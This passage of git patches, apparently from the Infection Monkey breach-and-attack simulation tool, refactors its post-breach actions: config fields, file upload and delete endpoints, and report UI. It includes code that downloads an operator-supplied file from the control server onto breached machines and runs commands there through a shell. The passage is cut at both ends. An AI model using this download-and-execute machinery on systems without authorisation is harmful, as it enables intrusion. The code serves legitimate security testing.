file_info = 'linux_file_info' - else: - file_info = 'windows_file_info' - config_path = 'monkey.behaviour.custom_post_breach.' + file_info + '.' - size_path = config_path + 'size' - name_path = config_path + 'name' - return name_path, size_path diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index fbcf4d7a0..17bed6782 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -36,14 +36,11 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] -UPLOADS_DIR = './monkey_island/cc/userUploads' +UPLOADS_DIR = '/cc/userUploads' -# Where to find file info in config -PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] -WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -WINDOWS_PBA_INFO.append('windows_file_info') -LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -LINUX_PBA_INFO.append('linux_file_info') +# Where to find file names in config +PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] +PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename'] class ConfigService: @@ -78,13 +75,11 @@ class ConfigService: :param is_initial_config: If True, returns the value of the initial config instead of the current config. :param should_decrypt: If True, the value of the config key will be decrypted (if it's in the list of encrypted config values). - :return: The value of the requested config key or False, if such key doesn't exist. + :return: The value of the requested config key. """ config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr) config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) for config_key_part in config_key_as_arr: - if config_key_part not in config: - return False config = config[config_key_part] if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: @@ -158,7 +153,7 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): - # Island file upload happens on pba_file_upload endpoint and config is set there + # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there ConfigService.keep_PBA_files(config_json) if should_encrypt: try: @@ -173,14 +168,14 @@ class ConfigService: @staticmethod def keep_PBA_files(config_json): """ - file_upload endpoint handles file upload and sets config asynchronously. - This saves file info from being overridden. + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified """ if ConfigService.get_config(): - linux_info = ConfigService.get_config_value(LINUX_PBA_INFO) - windows_info = ConfigService.get_config_value(WINDOWS_PBA_INFO) - config_json['monkey']['behaviour']['custom_post_breach']['linux_file_info'] = linux_info - config_json['monkey']['behaviour']['custom_post_breach']['windows_file_info'] = windows_info + linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename + config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename @staticmethod def init_default_config(): @@ -239,7 +234,13 @@ class ConfigService: if instance != {}: return for property, subschema in properties.iteritems(): - main_dict = ConfigService.r_get_properties(subschema) + main_dict = {} + for property2, subschema2 in subschema["properties"].iteritems(): + sub_dict = {} + for property3, subschema3 in subschema2["properties"].iteritems(): + if "default" in subschema3: + sub_dict[property3] = subschema3["default"] + main_dict[property2] = sub_dict instance.setdefault(property, main_dict) for error in validate_properties(validator, properties, instance, schema): @@ -249,17 +250,6 @@ class ConfigService: validator_class, {"properties": set_defaults}, ) - @staticmethod - def r_get_properties(schema): - """ Recursively gets all nested properties in schema""" - if "default" in schema: - return schema["default"] - if "properties" in schema: - dict_ = {} - for property, subschema in schema["properties"].iteritems(): - dict_[property] = ConfigService.r_get_properties(subschema) - return dict_ - @staticmethod def decrypt_config(config): ConfigService._encrypt_or_decrypt_config(config, True) @@ -322,27 +312,6 @@ class ConfigService: pair['private_key'] = encryptor.dec(pair['private_key']) return pair - @staticmethod - def add_PBA_files(post_breach_files): - """ - Interceptor of config saving process that uploads PBA files to server - and saves filenames and sizes in config instead of full file. - :param post_breach_files: Data URL encoded files - """ - # If any file is uploaded - if any(file_name in post_breach_files for file_name in ['linux_file', 'windows_file']): - # Create directory for file uploads if not present - if not os.path.exists(UPLOADS_DIR): - os.makedirs(UPLOADS_DIR) - if 'linux_file' in post_breach_files: - linux_name, linux_size = ConfigService.upload_file(post_breach_files['linux_file'], UPLOADS_DIR) - post_breach_files['linux_file_info']['name'] = linux_name - post_breach_files['linux_file_info']['size'] = linux_size - if 'windows_file' in post_breach_files: - windows_name, windows_size = ConfigService.upload_file(post_breach_files['windows_file'], UPLOADS_DIR) - post_breach_files['windows_file_info']['name'] = windows_name - post_breach_files['windows_file_info']['size'] = windows_size - @staticmethod def remove_PBA_files(): if ConfigService.get_config(): @@ -363,24 +332,3 @@ class ConfigService: os.remove(file_path) except OSError as e: logger.error("Can't remove previously uploaded post breach files: %s" % e) - - - @staticmethod - def upload_file(file_data, directory): - """ - We parse data URL format of the file and save it - :param file_data: file encoded in data URL format - :param directory: where to save the file - :return: filename of saved file - """ - file_parts = file_data.split(';') - if len(file_parts) != 3 and not file_parts[2].startswith('base64,'): - logger.error("Invalid file format was submitted to the server") - return False - # Strip 'name=' from this field and secure the filename - filename = secure_filename(file_parts[1][5:]) - file_path = os.path.join(directory, filename) - with open(file_path, 'wb') as file_: - file_.write(base64.decodestring(file_parts[2][7:])) - file_size = os.path.getsize(file_path) - return [filename, file_size] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 5d3aec681..d800afe9c 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -304,7 +304,6 @@ SCHEMA = { "$ref": "#/definitions/post_breach_acts" }, "default": [ - "BackdoorUser", ], "description": "List of actions the Monkey will run post breach" }, @@ -314,68 +313,45 @@ SCHEMA = { "title": "Behaviour", "type": "object", "properties": { - "custom_post_breach": { - "title": "Custom post breach actions", - "type": "object", - "properties": { - "linux": { - "title": "Linux command", - "type": "string", - "default": "", - "description": "Linux command to execute after breaching." - }, - "linux_file": { - "title": "Linux file", - "type": "string", - "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Linux command' field. " - }, - "windows": { - "title": "Windows command", - "type": "string", - "default": "", - "description": "Windows command to execute after breaching" - }, - "windows_file": { - "title": "Windows file", - "type": "string", - "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Windows command' field. " - }, - "windows_file_info": { - "title": "Windows PBA file info", - "type": "object", - "properties": { - "name": { - "type": "string", - "default": "" - }, - "size": { - "type": "string", - "default": "0" - }, - } - }, - "linux_file_info": { - "title": "Linux PBA file info", - "type": "object", - "properties": { - "name": { - "type": "string", - "default": "" - }, - "size": { - "type": "string", - "default": "0" - }, - } - } - }, - "description": "List of actions the Monkey will run post breach" + "custom_PBA_linux_cmd": { + "title": "Linux post breach command", + "type": "string", + "default": "", + "description": "Linux command to be executed after breaching." + }, + "PBA_linux_file": { + "title": "Linux post breach file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Linux post breach command' field. " + "Reference your file by filename." + }, + "custom_PBA_windows_cmd": { + "title": "Windows command", + "type": "string", + "default": "", + "description": "Windows command to be executed after breaching." + }, + "PBA_windows_file": { + "title": "Windows file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Windows post breach command' field. " + "Reference your file by filename." + }, + "PBA_windows_filename": { + "title": "Windows PBA filename", + "type": "string", + "default": "" + }, + "PBA_linux_filename": { + "title": "Linux PBA filename", + "type": "string", + "default": "" }, "self_delete_in_cleanup": { "title": "Self delete on cleanup", diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index ed00b2fa0..595d566f8 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -156,7 +156,7 @@ class ReportService: 'domain_name': monkey['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if - exploit['result']])), + exploit['result']])) } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index bc1c6739e..d6b1a2156 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -9,11 +9,37 @@ import 'filepond/dist/filepond.min.css'; class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); - + this.PBAwindowsPond = null; + this.PBAlinuxPond = null; this.currentSection = 'basic'; this.currentFormData = {}; this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - + this.uiSchema = { + behaviour: { + custom_PBA_linux_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_linux_file: { + "ui:widget": this.PBAlinux + }, + custom_PBA_windows_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_windows_file: { + "ui:widget": this.PBAwindows + }, + PBA_linux_filename: { + classNames: "linux-pba-file-info", + "ui:emptyValue": "" + }, + PBA_windows_filename: { + classNames: "windows-pba-file-info", + "ui:emptyValue": "" + } + } + }; // set schema from server this.state = { schema: {}, @@ -117,16 +143,17 @@ class ConfigurePageComponent extends AuthComponent { removePBAfiles(){ // We need to clean files from widget, local state and configuration (to sync with bac end) - if (this.hasOwnProperty('PBAlinuxPond') && this.PBAwindowsPond !== null){ - this.PBAlinuxPond.removeFile(); + if (this.PBAwindowsPond !== null){ this.PBAwindowsPond.removeFile(); } + if (this.PBAlinuxPond !== null){ + this.PBAlinuxPond.removeFile(); + } let request_options = {method: 'DELETE', headers: {'Content-Type': 'text/plain'}}; this.authFetch('/api/fileUpload/PBAlinux', request_options); this.authFetch('/api/fileUpload/PBAwindows', request_options); - this.setState({PBAlinuxFile: []}); - this.setState({PBAwinFile: []}); + this.setState({PBAlinuxFile: [], PBAwinFile: []}); } onReadFile = (event) => { @@ -197,65 +224,43 @@ class ConfigurePageComponent extends AuthComponent { getWinPBAfile(){ if (this.state.PBAwinFile.length !== 0){ - return ConfigurePageComponent.getPBAfile(this.state.PBAwinFile[0], true) - } else if (this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info.name){ - return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info) + return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0]) + } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){ + return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename) } } getLinuxPBAfile(){ if (this.state.PBAlinuxFile.length !== 0){ - return ConfigurePageComponent.getPBAfile(this.state.PBAlinuxFile[0], true) - } else if (this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info.name) { - return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info) + return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0]) + } else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) { + return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename) } } - static getPBAfile(fileSrc, isMock=false){ - let PBAfile = [{ - source: fileSrc.name, + static getFullPBAfile(filename){ + let pbaFile = [{ + source: filename, options: { type: 'limbo' } }]; - if (isMock){ - PBAfile[0].options.file = fileSrc - } - return PBAfile + return pbaFile + } + + static getMockPBAfile(mockFile){ + let pbaFile = [{ + source: mockFile.name, + options: { + type: 'limbo' + } + }]; + pbaFile[0].options.file = mockFile; + return pbaFile } render() { let displayedSchema = {}; - const uiSchema = { - behaviour: { - custom_post_breach: { - linux: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - linux_file: { - "ui:widget": this.PBAlinux - }, - windows: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - windows_file: { - "ui:widget": this.PBAwindows - }, - linux_file_info: { - classNames: "linux-pba-file-info", - name:{ "ui:emptyValue": ""}, - size:{ "ui:emptyValue": "0"} - }, - windows_file_info: { - classNames: "windows-pba-file-info", - name:{ "ui:emptyValue": ""}, - size:{ "ui:emptyValue": "0"} - } - } - } - }; if (this.state.schema.hasOwnProperty('properties')) { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; @@ -281,7 +286,7 @@ class ConfigurePageComponent extends AuthComponent { } { this.state.selectedSection ? Date: Thu, 14 Mar 2019 17:53:05 +0200 Subject: [PATCH 183/201] Added jwt requirements to PBA endpoints, fixed bugs, added different display if PBA succeeded than if failed. --- monkey/infection_monkey/config.py | 8 ++++---- monkey/infection_monkey/example.conf | 9 +-------- .../post_breach/file_execution.py | 8 ++++---- monkey/infection_monkey/post_breach/pba.py | 15 +++++++++----- .../post_breach/post_breach_handler.py | 20 +++++++++---------- .../cc/resources/pba_file_upload.py | 6 +++--- monkey/monkey_island/cc/services/config.py | 18 +++++++---------- .../cc/services/config_schema.py | 4 ++-- .../cc/ui/src/components/AuthComponent.js | 1 + .../ui/src/components/pages/ConfigurePage.js | 16 +++++++++++++-- .../report-components/PostBreach.js | 12 ++++++++++- monkey/monkey_island/cc/ui/src/index.js | 2 -- .../cc/ui/src/services/AuthService.js | 6 ++++++ monkey/monkey_island/cc/ui/src/styles/App.css | 8 ++++++++ 14 files changed, 81 insertions(+), 52 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 40a715e62..0d44cb973 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -271,10 +271,10 @@ class Configuration(object): extract_azure_creds = True post_breach_actions = [] - custom_pba_linux_cmd = "" - custom_pba_windows_cmd = "" - custom_pba_linux_file_info = None - custom_pba_windows_file_info = None + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 760ed1139..ca8041382 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -97,12 +97,5 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30, - "post_breach_actions" : [], - "custom_post_breach" : { "linux": "", - "windows": "", - "linux_file": None, - "windows_file": None, - "windows_file_info": None, - "linux_file_info": None - } + "post_breach_actions" : [] } diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index f76748141..025e1252a 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -24,15 +24,15 @@ class FileExecution(PBA): self.windows_filename = WormConfiguration.PBA_windows_filename super(FileExecution, self).__init__("File execution", linux_command, windows_command) - def execute_linux(self): + def _execute_linux(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), self.linux_filename) - return super(FileExecution, self).execute_linux() + return super(FileExecution, self)._execute_linux() - def execute_win(self): + def _execute_win(self): FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), self.windows_filename) - return super(FileExecution, self).execute_win() + return super(FileExecution, self)._execute_win() def add_default_command(self, is_linux): """ diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3482c96e8..09fe613b3 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -36,7 +36,7 @@ class PBA(object): if command: hostname = socket.gethostname() ControlClient.send_telemetry('post_breach', {'command': command, - 'output': exec_funct(), + 'result': exec_funct(), 'name': self.name, 'hostname': hostname, 'ip': socket.gethostbyname(hostname) @@ -46,18 +46,23 @@ class PBA(object): """ Default linux PBA execution function. Override it if additional functionality is needed """ - self._execute_default(self.linux_command) + return self._execute_default(self.linux_command) def _execute_win(self): """ Default linux PBA execution function. Override it if additional functionality is needed """ - self._execute_default(self.windows_command) + return self._execute_default(self.windows_command) @staticmethod def _execute_default(command): + """ + Default post breach command execution routine + :param command: What command to execute + :return: Tuple of command's output string and boolean, indicating if it succeeded + """ try: - return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) + return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True except subprocess.CalledProcessError as e: # Return error output of the command - return e.output + return e.output, False diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index e0f7135b1..4e9f269ac 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -51,22 +51,22 @@ class PostBreach(object): command_pba = PBA(name="Custom") # Add linux commands to PBA's - if config['PBA_linux_filename']: - if config['custom_PBA_linux_cmd']: - file_pba.linux_command = config['custom_PBA_linux_cmd'] + if config.PBA_linux_filename: + if config.custom_PBA_linux_cmd: + file_pba.linux_command = config.custom_PBA_linux_cmd else: file_pba.add_default_command(is_linux=True) - elif config['custom_PBA_linux_cmd']: - command_pba.linux_command = config['custom_PBA_linux_cmd'] + elif config.custom_PBA_linux_cmd: + command_pba.linux_command = config.custom_PBA_linux_cmd # Add windows commands to PBA's - if config['PBA_windows_filename']: - if config['custom_PBA_windows_cmd']: - file_pba.windows_command = config['custom_PBA_windows_cmd'] + if config.PBA_windows_filename: + if config.custom_PBA_windows_cmd: + file_pba.windows_command = config.custom_PBA_windows_cmd else: file_pba.add_default_command(is_linux=False) - elif config['custom_PBA_windows_cmd']: - command_pba.windows_command = config['custom_PBA_windows_cmd'] + elif config.custom_PBA_windows_cmd: + command_pba.windows_command = config.custom_PBA_windows_cmd # Add PBA's to list if file_pba.linux_command or file_pba.windows_command: diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 3b0a85b52..08e4f752d 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -55,13 +55,13 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was deleted, linux of windows :return: Empty response """ - file_conf_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH - filename = ConfigService.get_config_value(file_conf_path) + filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH + filename = ConfigService.get_config_value(filename_path) file_path = os.path.join(UPLOADS_DIR, filename) try: if os.path.exists(file_path): os.remove(file_path) - ConfigService.set_config_value(file_conf_path, {'size': '0', 'name': ''}) + ConfigService.set_config_value(filename_path, '') except OSError as e: LOG.error("Can't remove previously uploaded post breach files: %s" % e) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 17bed6782..6e0eb66a6 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,9 +4,7 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types -from werkzeug.utils import secure_filename import os -import base64 from cc.database import mongo from cc.encryptor import encryptor @@ -36,7 +34,7 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] -UPLOADS_DIR = '/cc/userUploads' +UPLOADS_DIR = 'monkey_island/cc/userUploads' # Where to find file names in config PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] @@ -315,14 +313,12 @@ class ConfigService: @staticmethod def remove_PBA_files(): if ConfigService.get_config(): - linux_file_name = ConfigService.get_config_value( - ['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) - windows_file_name = ConfigService.get_config_value( - ['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) - if linux_file_name: - ConfigService.remove_file(linux_file_name) - if windows_file_name: - ConfigService.remove_file(windows_file_name) + linux_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + windows_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + if linux_filename: + ConfigService.remove_file(linux_filename) + if windows_filename: + ConfigService.remove_file(windows_filename) @staticmethod def remove_file(file_name): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d800afe9c..382b591db 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -329,13 +329,13 @@ SCHEMA = { "Reference your file by filename." }, "custom_PBA_windows_cmd": { - "title": "Windows command", + "title": "Windows post breach command", "type": "string", "default": "", "description": "Windows command to be executed after breaching." }, "PBA_windows_file": { - "title": "Windows file", + "title": "Windows post breach file", "type": "string", "format": "data-url", "description": "File to be executed after breaching. " diff --git a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js index 428c3272a..9eb02a397 100644 --- a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js @@ -6,6 +6,7 @@ class AuthComponent extends React.Component { super(props); this.auth = new AuthService(); this.authFetch = this.auth.authFetch; + this.jwtHeader = this.auth.jwtHeader(); } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index d6b1a2156..bb369fa73 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -198,7 +198,13 @@ class ConfigurePageComponent extends AuthComponent { PBAwindows = () => { return ( { this.setState({ @@ -211,7 +217,13 @@ class ConfigurePageComponent extends AuthComponent { PBAlinux = () => { return ( { this.setState({ diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 5790e26e5..7fac2a167 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -13,9 +13,19 @@ let renderMachine = function (data) { return
    {data.label} ( {renderIpAddresses(data)} )
    }; +let renderPbaResults = function (results) { + let pbaClass = ""; + if (results[1]){ + pbaClass="pba-success" + } else { + pbaClass="pba-danger" + } + return
    {results[0]}
    +}; + const subColumns = [ {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'white-space': 'unset' }}, - {id: 'pba_output', Header: "Output", accessor: x => x.output, style: { 'white-space': 'unset' }} + {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'white-space': 'unset' }} ]; let renderDetails = function (data) { diff --git a/monkey/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js index 3a701b52e..329e94dfe 100644 --- a/monkey/monkey_island/cc/ui/src/index.js +++ b/monkey/monkey_island/cc/ui/src/index.js @@ -4,8 +4,6 @@ import ReactDOM from 'react-dom'; import 'babel-polyfill'; import App from './components/Main'; import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars -import { FilePond, registerPlugin } from 'react-filepond'; -import 'filepond/dist/filepond.min.css'; // Render the main component into the dom ReactDOM.render(, document.getElementById('app')); diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 547b14272..9c62bde63 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -15,6 +15,12 @@ export default class AuthService { return this._authFetch(url, options); }; + jwtHeader = () => { + if (this._loggedIn()) { + return 'JWT ' + this._getToken(); + } + }; + hashSha3(text) { let hash = new SHA3(512); hash.update(text); diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 926052d7a..6155a4dcc 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -424,6 +424,14 @@ body { top: 30%; } +.pba-danger { + background-color: #ffc7af; +} + +.pba-success { + background-color: #afd2a2; +} + /* Print report styling */ @media print { From 50f2db4b22b66253c93b6e12eb7878eaa88ab34e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Mar 2019 19:20:21 +0200 Subject: [PATCH 184/201] Removed unused import --- monkey/infection_monkey/post_breach/post_breach_handler.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 4e9f269ac..f0d9c53dc 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,6 +1,5 @@ import logging import infection_monkey.config -import platform from file_execution import FileExecution from pba import PBA from infection_monkey.utils import is_windows_os From 1c3e69cbb9365d4a9e447906df010d01c1f7fd1c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Mar 2019 20:02:50 +0200 Subject: [PATCH 185/201] PR notes fixed, command + file bugs fixed --- .../post_breach/file_execution.py | 30 ++++--------- .../post_breach/post_breach_handler.py | 42 ++++++++++-------- .../cc/resources/pba_file_download.py | 4 +- .../cc/resources/pba_file_upload.py | 3 +- monkey/monkey_island/cc/resources/root.py | 3 +- monkey/monkey_island/cc/services/config.py | 43 ++----------------- .../cc/services/post_breach_files.py | 43 +++++++++++++++++++ .../report-components/PostBreach.js | 2 +- 8 files changed, 86 insertions(+), 84 deletions(-) create mode 100644 monkey/monkey_island/cc/services/post_breach_files.py diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index 025e1252a..5f52a29a6 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -1,8 +1,8 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient from infection_monkey.config import WormConfiguration +from infection_monkey.utils import get_monkey_dir_path import requests -import shutil import os import logging @@ -25,27 +25,25 @@ class FileExecution(PBA): super(FileExecution, self).__init__("File execution", linux_command, windows_command) def _execute_linux(self): - FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.linux_filename) + FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename) return super(FileExecution, self)._execute_linux() def _execute_win(self): - FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), - self.windows_filename) + FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename) return super(FileExecution, self)._execute_win() def add_default_command(self, is_linux): """ - Replaces current (likely empty) command with default file execution command. + Replaces current (likely empty) command with default file execution command (that changes permissions, executes + and finally deletes post breach file). + Default commands are defined as globals in this module. :param is_linux: Boolean that indicates for which OS the command is being set. """ if is_linux: - file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=True), - self.linux_filename) + file_path = os.path.join(get_monkey_dir_path(), self.linux_filename) self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) else: - file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=False), - self.windows_filename) + file_path = os.path.join(get_monkey_dir_path(), self.windows_filename) self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) @staticmethod @@ -63,18 +61,8 @@ class FileExecution(PBA): proxies=ControlClient.proxies) try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - shutil.copyfileobj(PBA_file_contents, written_PBA_file) + written_PBA_file.write(PBA_file_contents.content) return True except IOError as e: LOG.error("Can not download post breach file to target machine, because %s" % e) return False - - @staticmethod - def get_dest_dir(config, is_linux): - """ - Gets monkey directory from config. (We put post breach files in the same dir as monkey) - """ - if is_linux: - return os.path.dirname(config.dropper_target_path_linux) - else: - return os.path.dirname(config.dropper_target_path_win_32) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index f0d9c53dc..76788f851 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,11 +3,14 @@ import infection_monkey.config from file_execution import FileExecution from pba import PBA from infection_monkey.utils import is_windows_os +from infection_monkey.utils import get_monkey_dir_path LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' +DIR_CHANGE_WINDOWS = 'cd %s & ' +DIR_CHANGE_LINUX = 'cd %s ; ' class PostBreach(object): """ @@ -31,7 +34,6 @@ class PostBreach(object): Returns a list of PBA objects generated from config. :param config: Monkey configuration :return: A list of PBA objects. - TODO: Parse PBA's from PBA array (like 'add_user'). Also merge the whole outdated PBA structure into this one. """ pba_list = [] pba_list.extend(PostBreach.get_custom_PBA(config)) @@ -49,23 +51,27 @@ class PostBreach(object): file_pba = FileExecution() command_pba = PBA(name="Custom") - # Add linux commands to PBA's - if config.PBA_linux_filename: - if config.custom_PBA_linux_cmd: - file_pba.linux_command = config.custom_PBA_linux_cmd - else: - file_pba.add_default_command(is_linux=True) - elif config.custom_PBA_linux_cmd: - command_pba.linux_command = config.custom_PBA_linux_cmd - - # Add windows commands to PBA's - if config.PBA_windows_filename: - if config.custom_PBA_windows_cmd: - file_pba.windows_command = config.custom_PBA_windows_cmd - else: - file_pba.add_default_command(is_linux=False) - elif config.custom_PBA_windows_cmd: - command_pba.windows_command = config.custom_PBA_windows_cmd + if not is_windows_os(): + # Add linux commands to PBA's + if config.PBA_linux_filename: + if 